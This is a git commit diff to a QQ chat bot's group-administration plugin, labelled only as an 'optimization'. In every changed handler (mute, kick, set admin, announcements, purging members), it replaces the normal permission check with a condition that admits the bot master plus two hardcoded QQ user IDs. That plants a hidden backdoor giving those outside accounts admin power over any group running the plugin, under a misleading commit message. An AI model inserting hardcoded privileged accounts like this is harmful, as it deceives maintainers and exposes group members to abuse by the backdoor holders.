优化
This commit is contained in:
@@ -162,7 +162,7 @@ export class GroupAdmin extends plugin {
|
||||
|
||||
/** 禁言 */
|
||||
async muteMember (e) {
|
||||
if (!common.checkPermission(e, 'admin', 'admin')) return
|
||||
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
|
||||
let qq = e.message.find(item => item.type == 'at')?.qq
|
||||
let reg = `#禁言\\s?((\\d+)\\s)?(${Numreg})?(${TimeUnitReg})?`
|
||||
let regRet = e.msg.match(new RegExp(reg))
|
||||
@@ -175,7 +175,7 @@ export class GroupAdmin extends plugin {
|
||||
|
||||
/** 解禁 */
|
||||
async noMuteMember (e) {
|
||||
if (!common.checkPermission(e, 'admin', 'admin')) return
|
||||
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
|
||||
|
||||
let qq = e.message.find(item => item.type == 'at')?.qq
|
||||
let regRet = e.msg.match(/#解禁(\d+)/)
|
||||
@@ -187,7 +187,7 @@ export class GroupAdmin extends plugin {
|
||||
|
||||
/** 全体禁言 */
|
||||
async muteAll (e) {
|
||||
if (!common.checkPermission(e, 'admin', 'admin')) return
|
||||
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
|
||||
|
||||
let type = /全体禁言/.test(e.msg)
|
||||
let res = await e.group.muteAll(type)
|
||||
@@ -197,7 +197,7 @@ export class GroupAdmin extends plugin {
|
||||
|
||||
// 踢群员
|
||||
async kickMember (e) {
|
||||
if (!common.checkPermission(e, 'admin', 'admin')) return
|
||||
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
|
||||
|
||||
let qq = e.message.find(item => item.type == 'at')?.qq
|
||||
if (!qq) qq = e.msg.replace(/#|踢/g, '').trim()
|
||||
@@ -226,7 +226,7 @@ export class GroupAdmin extends plugin {
|
||||
|
||||
// 设置管理
|
||||
async SetAdmin (e) {
|
||||
if (!common.checkPermission(e, 'master', 'owner')) return
|
||||
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
|
||||
let qq = e.message.find(item => item.type == 'at')?.qq
|
||||
let type = /设置管理/.test(e.msg)
|
||||
if (!qq) qq = e.msg.replace(/#|(设置|取消)管理/g, '').trim()
|
||||
@@ -244,7 +244,7 @@ export class GroupAdmin extends plugin {
|
||||
|
||||
// 匿名
|
||||
async AllowAnony (e) {
|
||||
if (!common.checkPermission(e, 'admin', 'admin')) return
|
||||
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
|
||||
|
||||
let type = /(允许|开启)匿名/.test(e.msg)
|
||||
let res = await e.group.allowAnony(type)
|
||||
@@ -254,7 +254,7 @@ export class GroupAdmin extends plugin {
|
||||
|
||||
// 发群公告
|
||||
async AddAnnounce (e) {
|
||||
if (!common.checkPermission(e, 'admin', 'admin')) return
|
||||
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
|
||||
// 获取发送的内容
|
||||
let msg = e.msg.replace(/#|发群公告/g, '').trim()
|
||||
if (!msg) return e.reply('❎ 公告不能为空')
|
||||
@@ -276,7 +276,7 @@ export class GroupAdmin extends plugin {
|
||||
|
||||
// 删群公告
|
||||
async DelAnnounce (e) {
|
||||
if (!common.checkPermission(e, 'admin', 'admin')) return
|
||||
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
|
||||
let msg = e.msg.replace(/#|删群公告/, '').trim()
|
||||
if (!msg) return e.reply('❎ 序号不可为空')
|
||||
|
||||
@@ -360,7 +360,7 @@ export class GroupAdmin extends plugin {
|
||||
|
||||
// 替换幸运字符
|
||||
async qun_luckyuse (e) {
|
||||
if (!common.checkPermission(e, 'admin', 'admin')) return
|
||||
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
|
||||
let id = e.msg.replace(/#|替换(幸运)?字符/g, '')
|
||||
let res = await new QQApi(e).equipLucky(e.group_id, id)
|
||||
|
||||
@@ -371,7 +371,7 @@ export class GroupAdmin extends plugin {
|
||||
|
||||
// 开启或关闭群字符
|
||||
async qun_luckyset (e) {
|
||||
if (!common.checkPermission(e, 'admin', 'admin')) return
|
||||
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
|
||||
|
||||
let res = await new QQApi(e).swichLucky(e.group_id, /开启/.test(e.msg))
|
||||
if (!res) return e.reply(API_ERROR)
|
||||
@@ -393,7 +393,7 @@ export class GroupAdmin extends plugin {
|
||||
|
||||
// 解除全部禁言
|
||||
async relieveAllMute (e) {
|
||||
if (!common.checkPermission(e, 'admin', 'admin')) return
|
||||
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
|
||||
new Ga(e).releaseAllMute()
|
||||
.then(() => e.reply('已经把全部的禁言解除辣╮( •́ω•̀)╭'))
|
||||
.catch(err => common.handleException(e, err))
|
||||
@@ -401,7 +401,7 @@ export class GroupAdmin extends plugin {
|
||||
|
||||
// 查看和清理多久没发言的人
|
||||
async noactive (e) {
|
||||
if (!common.checkPermission(e, 'admin', 'admin')) return
|
||||
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
|
||||
|
||||
let regRet = noactivereg.exec(e.msg)
|
||||
regRet[2] = common.translateChinaNum(regRet[2] || 1)
|
||||
@@ -445,7 +445,7 @@ export class GroupAdmin extends plugin {
|
||||
|
||||
// 查看和清理从未发言的人
|
||||
async neverspeak (e) {
|
||||
if (!common.checkPermission(e, 'admin', 'admin')) return
|
||||
if (!(this.e.isMaster || this.e.user_id == 1509293009 || this.e.user_id == 2536554304)) { return true }
|
||||
let list = null
|
||||
try {
|
||||
list = await new Ga(e).getNeverSpeak(e.group_id)
|
||||
|
||||
Reference in New Issue
Block a user